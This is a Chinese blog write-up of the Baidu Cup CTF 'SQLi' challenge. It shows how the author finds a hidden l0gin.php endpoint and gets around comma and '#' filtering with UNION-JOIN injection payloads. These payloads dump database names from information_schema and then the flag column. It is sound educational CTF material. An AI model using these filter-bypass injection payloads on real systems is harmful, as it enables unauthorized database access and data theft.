# “百度杯”CTF比赛九月场SQLi

最新推荐文章于 2023-08-17 18:38:05 发布

LUV_YOUJUN

最新推荐文章于 2023-08-17 18:38:05 发布

阅读量271

点赞数

分类专栏： CTF 文章标签：安全数据库安全漏洞

本文链接：https://blog.csdn.net/sinat_40845893/article/details/112101616

版权

2 篇文章 0 订阅

订阅专栏

“百度杯”CTF比赛九月场SQLi

数据库注入，无逗号union查询构造

<html>
<head><title>Loading...</title></head>
<body>
	<!-- login.php?id=1 -->
</body>
</html>

welcome admin~</br>

something error~</br>

修改请求，但无论怎么尝试貌似没有用，用sqlmap扫一下，貌似id不存在注入点，没办法，用burpsuite抓包分析一下试试
在这里插入图片描述

新的请求l0gin.php?id=1（文字游戏真的）
寻找注入点
l0gin.php?id=-1’ union select 1,2

注入失败，可以发现过滤了逗号(%2C)，通过尝试也发现过滤了#，但是没有过滤其ascii编码%23.
关键技术：无逗号UNION注入（利用join）
构造注入语句l0gin.php?id=id=-1’ union select * from (select 1) a join (select version() ) b %23，发现注入点，

开始爆数据库，id=id=-1’ union select * from (select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA) a join (select version() ) b %23
之后就简单了，爆表得到users，爆字段得到flag_9c861b688330的属性值，即为flag，
id=-1’ union select * from (select flag_9c861b688330 from sqli.users) a join (select version() ) b %23